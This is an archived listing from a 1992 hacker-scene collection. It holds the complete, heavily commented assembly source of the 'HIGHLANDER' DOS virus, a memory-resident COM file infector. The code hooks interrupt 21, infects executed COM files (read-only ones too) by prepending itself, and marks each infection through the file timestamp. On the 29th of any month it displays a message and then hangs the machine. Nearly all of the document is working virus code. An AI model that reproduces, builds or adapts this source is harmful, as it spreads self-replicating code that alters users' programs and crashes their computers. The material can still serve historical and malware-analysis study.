home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / HIGHLAND.ASM < prev    next >
Assembly Source File  |  1992-07-30  |  22KB  |  423 lines

  1. ;HIGHLAND.COM
  2.  
  3. ;This is the HIGHLANDER Virus version 1.0.  
  4.  
  5. ;This virus is a generic, parasitic, resident COM infector.  It will not
  6. ;infect command.com however.  It is not destructive but can be irritating.
  7. ;Interrupt 21 is hooked.
  8.  
  9. ;This virus is to be assembled under TASM 2.0 with the /m2 switch.
  10.  
  11. ;When an infected file is executed, the virus code is executed first.
  12. ;The virus first checks to see if the virus is already resident.  It does
  13. ;this by setting the AH register to 0DEh.  This subfunction is currently
  14. ;unsupported by DOS.  Interrupt 21 is then called.  If after the call, AH is 
  15. ;unchanged, the virus is not resident.  If AH no longer contains 0DEh, the
  16. ;virus is assumed to be resident (If the virus is resident, AH will actually
  17. ;be changed to 0EDh.  This is never checked for, only a change from 0DEh
  18. ;is checked for).  If the virus is already resident, the executing viral
  19. ;code will restore the host in memory to original condition and allow it
  20. ;to execute normally.  If however, the virus is not resident, Interrupt 21
  21. ;will then be trapped by the virus.  Once this is accomplished, the virus
  22. ;will free all available memory that it does not need (COM programs are
  23. ;allocated all available memory when they are executed even though they can
  24. ;only occupy one segment).  The viral code will then copy the original 
  25. ;environment and determine the path and filename of the host program in 
  26. ;memory.  The viral code will then shell out and re-execute the host 
  27. ;program.  The virus is nearly resident now.  When the virus shells out
  28. ;and re-executes the host, a non-supported value is passed in the AL
  29. ;register.  This is interpreted by the virus to mean that the infection
  30. ;is in transition and that when the host is re-executed, to assume that the
  31. ;virus is already resident.  This value is then changed to the proper value
  32. ;so that the shell process will execute normally (INT 21 is already trapped
  33. ;at this point).  This shell process is invisible, since the viral code
  34. ;so successfully copies the original environment.  Once the host has 
  35. ;finished executing, control is then returned back to the original host
  36. ;(the viral code).  The virus then completes execution by going resident
  37. ;using interrupt 027h.  In all appearances, the host program has just 
  38. ;completed normal execution and has terminated.  In actuality, the virus
  39. ;is now fully resident.
  40.  
  41. ;When the virus is resident, interrupt 021h is trapped and monitored.
  42. ;When a program is executed, the resident virus gets control (DOS executes
  43. ;programs by shelling from DOS using interrupt 021h, subfunction 04bh).
  44. ;When the virus sees that a program is being executed, a series of checks
  45. ;are performed.  The first thing checked for is whether or not the program
  46. ;to be executed has 'D' as the seventh letter in the filename.  If it does
  47. ;the program is not infected and is allowed to execute normally (this is
  48. ;how the virus keeps from infecting COMMAND.COM.  No COM file with a 'D'
  49. ;as the seventh letter will be infected).  If there is no 'D' as the seventh
  50. ;letter, the virus then checks to see if the program to be executed is a
  51. ;COM file or not.  If it is not a COM file, it is not infected and allowed
  52. ;to execute normally.  If the COM file test is passed, the file size is then
  53. ;checked.  Files are only infected if they are larger than 1024 bytes and
  54. ;smaller than 62000 bytes.  If the file size is within bounds, the file
  55. ;is checked to see if it is already infected.  Files are only infected
  56. ;a single time.  The virus determines infection by checking the date/time
  57. ;stamp of the file.  If the seconds portion of the stamp is equal to 40,
  58. ;the file is assumed to be infected.  If the file is infected, the virus
  59. ;then checks the date.  If it is the 29th day of any month, the virus will
  60. ;then display its irritating qualities by displaying the message 
  61. ;'Highlander 1 RULES!' 21 times and then locking the machine and forcing
  62. ;a reboot.  If the file is not infected, infection will proceed.  The 
  63. ;virus stores the original attributes and then changes the attributes to
  64. ;normal, read/write.  The file length is also stored.  The file is then
  65. ;opened and the first part of the file is read and stored in memory (the
  66. ;exact number of bytes is the same length as the virus).  The virus then
  67. ;proceeds to overwrite the first part of the file with its own code.  The 
  68. ;file pointer is then adjusted to the end of the file and a short 
  69. ;restoration routine is copied.  The original first part of the file is 
  70. ;then copied to the end of the file after the restore routine.  The files
  71. ;time/date stamp is then adjusted to show an infection (the seconds portion
  72. ;of the time is set to 40.  This will normally never be noticed since 
  73. ;directory listings never show the seconds portion).  The file is then
  74. ;closed and the original attributes are restored.  Control is then passed
  75. ;to the original INT 021h routine and the now infected program is allowed
  76. ;to execute normally.
  77.  
  78. ;This virus will infect read-only files.
  79. ;COMMAND.COM will not be infected.
  80. ;It is not destructive but can be highly irritating.
  81.  
  82.  
  83.  
  84. .model tiny
  85. .code
  86.      IDEAL
  87.  
  88.  
  89. begin:
  90.      jmp checkinfect              ;jump over data to virus code
  91.  
  92.  
  93. data1:
  94.      dw offset endcode+0100h      ;address of restore routine
  95. typekill:
  96.      db 01ah                      ;kills the DOS 'type' command
  97. version:
  98.      db 'v05'                     ;virus version number
  99. data2:
  100.      dw 0,080h,0,05ch,0,06ch,0    ;environment string for shell process
  101. data3:
  102.      db 'COM'                     ;COM file check
  103. data4:
  104.      db 0,0,1,0                   ;data preceeding filename in environment
  105. data5:
  106.      db 'Highlander 1 RULES! $'   ;irritating message 
  107.  
  108.  
  109. restcode:                         ;restoration routine to restore host 
  110.      rep movsb                    ;move host code back to original loc
  111.      push cs                      ;setup to transfer control to 0100h
  112.      mov ax,0100h
  113.      push ax
  114.      mov ax,cx                    ;zero ax
  115.      ret                          ;transfer control to 0100h and allow host
  116.                                   ;to execute normally 
  117.  
  118.  
  119. checkinfect:                      ;check to see if virus already resident
  120.      mov ax,0de00h                ;unsupported subfunction
  121.      int 21h                      
  122.      cmp ah,0deh                  ;is it unchanged?
  123.      je continfect                ;yes, continue going resident
  124.                                   ;no, already resident, restore host
  125.  
  126.  
  127. restorehost:                      ;setup for restore routine
  128.      mov di,0100h                 ;destination of bytes to be moved
  129.      mov si,[word data1+0100h]    ;address of restore routine 
  130.                                   ;(original host)
  131.      push cs                      ;setup for xfer to restore routine
  132.      push si
  133.      add si,checkinfect-restcode  ;source of bytes to be moved
  134.      mov cx,endcode-begin         ;number of bytes to move
  135.      ret                          ;xfer to restore routine
  136.  
  137.  
  138. continfect:                       ;continue infection
  139.      mov ax,3521h                 ;set ax to get INT 21 vector address
  140.      int 21h                      ;get INT 21 vector
  141.      mov [WORD int21trap+1+0100h],bx
  142.                                   ;store address in viral code
  143.      mov [WORD int21trap+3+0100h],es
  144.                                   ;store segment in viral code 
  145.      mov dx,offset start+0100h    ;set dx to start of viral code
  146.      mov ax,2521h                 ;set ax to change INT 21 vector
  147.      int 21h                      ;change INT 21 to point to virus
  148.      mov [word data2+0100h+4],ds  ;copy current segment to env string
  149.      mov [word data2+0100h+8],ds  ;for shell process
  150.      mov [word data2+0100h+12],ds
  151.      push ds                      ;restore es to current segment
  152.      pop es
  153.      mov bx,offset endcode+0100h  ;set bx to end of viral code
  154.      mov cl,04                    ;divide by 16 
  155.      shr bx,cl
  156.      inc bx                       ;INC by 1 just in case.  bx is number of
  157.                                   ;paragraphs of memory to reserve
  158.      mov ah,04ah                  ;set ah to release memory
  159.      int 21h                      ;release all excess memory 
  160.      mov ds,[word 02ch]           ;get segment of environment copy
  161.      xor si,si                    ;zero si
  162.      cld                          ;clear direction flag
  163.  
  164.  
  165. tryagain:
  166.      mov di,offset data4+0100h    ;point to data preceeding filename
  167.      mov cx,4                     ;data is 4 bytes long
  168.      repe cmpsb                   ;check for match
  169.      jne tryagain                 ;if no match, try again
  170.      mov dx,si                    ;filename found.  set dx to point
  171.      mov bx,offset data2+0100h    ;set bx to point to environment string
  172.      mov ax,04bffh                ;set ax to shell and execute.  AL contains
  173.                                   ;an invalid value which will be interpreted
  174.                                   ;by the virus (int 21 is now trapped by it)
  175.                                   ;and changed to 00.
  176.      cld                          ;clear direction flag
  177.      int 21h                      ;shell and re-execute the host program
  178.      mov dx,(endcode-begin)*2+0110h
  179.                                   ;set dx to end of virus *2 plus 10.  This
  180.                                   ;will point to the end of the resident
  181.                                   ;portion of the virus
  182.      int 27h                      ;terminate and stay resident
  183.  
  184.  
  185. start:                            ;start of virus.  The trapped INT 21 points
  186.                                   ;to this location.
  187.      pushf                        ;store the flags
  188.      cmp ah,0deh                  ;is calling program checking for infection?
  189.      jne check4run                ;no, continue on checking for execution
  190.      mov ah,0edh                  ;yes, change ah to 0edh
  191.      jmp cont                     ;jump over rest of viral code
  192.  
  193.  
  194. check4run:
  195.      cmp ah,04bh                  ;check for program attempting to execute
  196.      je nextcheck                 ;yes, continue checks
  197.      jmp cont                     ;no, jump over rest of virus
  198.  
  199.  
  200. nextcheck:
  201.      cmp al,0ffh                  ;check if virus is shelling.  0ffh will
  202.                                   ;normally never be used and is used by
  203.                                   ;the virus to shell the host before it is
  204.                                   ;fully resident.  This prevents the virus
  205.                                   ;from shelling twice, which will work but
  206.                                   ;lose the environment and cause problems.
  207.      jne workvirus                ;normal DOS shell. Jump to virus meat.
  208.      xor al,al                    ;virus is shelling.  zero al.
  209.      jmp cont                     ;jump over rest of virus
  210.  
  211.  
  212. workvirus:
  213.      push ax                      ;store all registers subject to change
  214.      push bx
  215.      push cx
  216.      push es
  217.      push si
  218.      push di
  219.      push dx
  220.      push ds
  221.      push cs                      ;store the code segment so it can be used
  222.      push cs                      ;to set the ds and es registers
  223.      pop ds                       ;set ds to same as cs
  224.      pop es                       ;set es to same as cs
  225.      mov dx,080h                  ;set dx to offset 080h
  226.      mov ah,01ah                  ;set ah to create DTA
  227.      int 21h                      ;create DTA at 080h (normal DTA area)
  228.      pop ds                       ;set ds to original ds
  229.      pop dx                       ;set dx to original dx (ds:dx is used to 
  230.                                   ;point to the path and filename of the
  231.                                   ;program to be executed)
  232.      push dx                      ;store these values back
  233.      push ds
  234.      xor cx,cx                    ;zero cx
  235.      mov ah,04eh                  ;set ah to search for filename match
  236.      int 21h                      ;search for filename (this is primarily
  237.                                   ;done to setup data in the DTA so that it
  238.                                   ;can be checked easier than making a
  239.                                   ;number of individual calls)
  240.      push es                      ;store es (same as cs)
  241.      pop ds                       ;set ds to same as es and cs
  242.      cmp [byte 087h],'D'          ;check for 'D' as seventh letter in file
  243.      jne j5
  244.      jmp endvirus                 ;if 'D' is 7th letter, dont infect
  245. j5: 
  246.      mov si,offset data3+0100h    ;set source of bytes to compare
  247.      mov di,089h                  ;set destination of bytes to compare
  248.      mov cx,3                     ;number of bytes to compare
  249.      cld                          ;compare forward
  250.      repe cmpsb                   ;compare bytes (check to see if file's
  251.                                   ;extension is COM)
  252.      je j1
  253.      jmp endvirus                 ;not a COM file.  Dont infect
  254. j1:
  255.      mov bx,[word 009ah]          ;set bx to length of file
  256.      cmp bx,1024                  ;is length > 1024?
  257.      jae j2                       ;yes, continue with checks
  258.      jmp endvirus                 ;no, dont infect
  259. j2:
  260.      cmp bx,62000                 ;is length < 62000?
  261.      jbe j3                       ;yes, continue with checks
  262.      jmp endvirus                 ;no, dont infect
  263. j3:
  264.      mov ax,[word 096h]           ;set ax to file's time stamp
  265.      and ax,0000000000011111b     ;clear everything but seconds
  266.      cmp ax,0000000000010100b     ;is seconds = 40?
  267.      jne j4                       ;yes, continue with infection
  268.      mov ah,02ah                  ;no, set ah to get the date
  269.      int 21h                      ;get current system date
  270.      mov cx,21                    ;set cx to 21
  271.      cmp dl,29                    ;is the date the 29th?
  272.      je irritate                  ;yes, continue with irritate
  273.      jmp endvirus                 ;no, let program execute normally
  274.  
  275.  
  276. irritate:
  277.      mov dx,offset data5+0100h    ;point dx to irritating message
  278.      mov ah,09h                   ;set ah to write to screen
  279.      int 21h                      ;write message 21 times
  280.      loop irritate
  281.      iret                         ;xfer program control to whatever's on
  282.                                   ;the stack (this almost guarantee's a
  283.                                   ;lockup and a reboot)
  284.  
  285.  
  286. j4: 
  287.      mov ax,[word 096h]           ;set ax equal to the file's time stamp
  288.      and ax,1111111111100000b     ;zero the seconds portion
  289.      or ax,0000000000010100b      ;set the seconds = 40
  290.      add bx,0100h                 ;set bx = loc for restore routine (end
  291.                                   ;of file once its in memory)      
  292.      mov [word data1+0100h],bx    ;store this value in the virus
  293.      mov bx,ax                    ;set bx = to adjusted time stamp
  294.      pop ds                       ;get the original ds
  295.      push ds                      ;store this value back
  296.      mov ax,04300h                ;set ax to get the file's attributes
  297.                                   ;ds:dx already points to path/filename
  298.      int 21h                      ;get the files attributes
  299.      push cx                      ;push the attributes
  300.      push bx                      ;push the adjusted time stamp
  301.      xor cx,cx                    ;zero cx(attributes for normal, read/write)
  302.      mov ax,04301h                ;set ax to set file attributes
  303.      int 21h                      ;set files attributes to normal/read/write
  304.      mov ax,03d02h                ;set ax to open file
  305.      int 21h                      ;open file for read/write access
  306.      mov bx,ax                    ;mov file handle to bx
  307.      push cs                      ;push current code segment
  308.      pop ds                       ;and pop into ds (ds=cs)
  309.      mov cx,endcode-begin         ;set cx equal to length of virus
  310.      mov dx,offset endcode+0100h  ;point dx to end of virus in memory
  311.      mov ah,03fh                  ;set ah to read from file
  312.      int 21h                      ;read bytes from beginning of file and
  313.                                   ;store at end of virus.  Read as many bytes
  314.                                   ;as virus is long.
  315.      xor cx,cx                    ;zero cx
  316.      xor dx,dx                    ;zero dx
  317.      mov ax,04200h                ;set ax to move file pointer from begin
  318.      int 21h                      ;mov file pointer to start of file
  319.      mov cx,endcode-begin         ;set cx = length of virus
  320.      mov dx,0100h                 ;point dx to start of virus
  321.      mov ah,040h                  ;set ah to write to file
  322.      int 21h                      ;write virus to start of file
  323.      xor cx,cx                    ;zero cx
  324.      xor dx,dx                    ;zero dx
  325.      mov ax,04202h                ;set ax to move file pointer from end
  326.      int 21h                      ;mov file pointer to end of file
  327.      mov cx,checkinfect-restcode  ;set cx to length of restore routine
  328.      mov dx,offset restcode+0100h ;point dx to start of restore routine
  329.      mov ah,040h                  ;set ah to write to file
  330.      int 21h                      ;write restore routine to end of file
  331.      mov cx,endcode-begin         ;set cx to length of virus (length of code
  332.                                   ;read from beginning of file)
  333.      mov dx,offset endcode+0100h  ;point dx to data read from file
  334.      mov ah,040h                  ;set ah to write to file
  335.      int 21h                      ;write data read from start of file to end
  336.                                   ;of file following restore routine
  337.      pop cx                       ;pop the adjusted time stamp
  338.      mov dx,[word 098h]           ;mov the file date stamp into dx
  339.      mov ax,05701h                ;set ax to write time/date stamp
  340.      int 21h                      ;write time/date stamp to file
  341.      mov ah,03eh                  ;set ah to close file
  342.      int 21h                      ;close the file
  343.      pop cx                       ;pop the original attributes
  344.      pop ds                       ;pop the original ds
  345.      pop dx                       ;pop the original dx
  346.      push dx                      ;push these values back
  347.      push ds
  348.      mov ax,04301h                ;set ax to set file attributes (ds:dx now
  349.                                   ;points to original path/filename)
  350.      int 21h                      ;set the original attributes back to file
  351.  
  352.  
  353. endvirus:                         ;virus execution complete. restore original
  354.                                   ;values for INT 21 function
  355.      pop ds
  356.      pop dx
  357.      pop di
  358.      pop si
  359.      pop es
  360.      pop cx
  361.      pop bx
  362.      pop ax
  363.  
  364.  
  365. cont:                             ;virus complete.  restore original flags
  366.      popf
  367.      pushf
  368.  
  369.  
  370. int21trap:                        ;this calls the original INT 21 routine
  371.      db 09ah                      ;opcode for a far call
  372.      nop                          ;blank area.  the original INT 21 vector
  373.      nop                          ;is copied to this area
  374.      nop
  375.      nop
  376.      push ax                      ;after the original INT 21 routine has
  377.                                   ;completed execution, control is returned
  378.                                   ;to this point 
  379.      push bx
  380.      pushf                        ;push the flags returned from the INT 21
  381.                                   ;routine.  We have to get them in the
  382.                                   ;proper location in the stack when we 
  383.                                   ;return to the calling program
  384.      pop ax                       ;pop the flags
  385.      mov bx,sp                    ;set bx equal to the stack pointer
  386.      mov [word ss:bx+8],ax        ;copy the flags to the proper location in
  387.                                   ;the stack
  388.      pop bx                       ;restore bx
  389.      pop ax                       ;restore ax
  390.      iret                         ;return to calling program
  391.  
  392.  
  393. signature:
  394.      db 'dex'
  395.  
  396.  
  397. endcode:                          ;this file has been written as if it were
  398.                                   ;a natural infection.  At this point the
  399.                                   ;virus is ended and we are at the restore
  400.                                   ;routine.  Following this is the host code
  401.                                   ;which will be moved back to 0100h.  This
  402.                                   ;file could never actually be a natural 
  403.                                   ;infection however due to its small size
  404.      rep movsb                    ;start of restore routine.  move host back
  405.      push cs                      ;set up to xfer to cs:0100h
  406.      mov ax,0100h
  407.      push ax
  408.      mov ax,cx                    ;zero ax
  409.      ret                          ;host is restored.  xfer to start of host
  410. hoststart:                        ;This is the host program.  It consists
  411.                                   ;merely of a simple message being displayed
  412.      jmp skipdata                 ;jump over message
  413. hostmessage:
  414.      db 'The virus is now resident.$'
  415. skipdata:                
  416.      mov ah,09h                   ;set ah to write to screen
  417.      mov dx,offset hostmessage+0100h
  418.                                   ;point dx to message to display
  419.      int 21h                      ;display message
  420.      mov ah,04ch                  ;set ah to terminate program
  421.      int 21h                      ;terminate program, return to DOS
  422.      END
  423.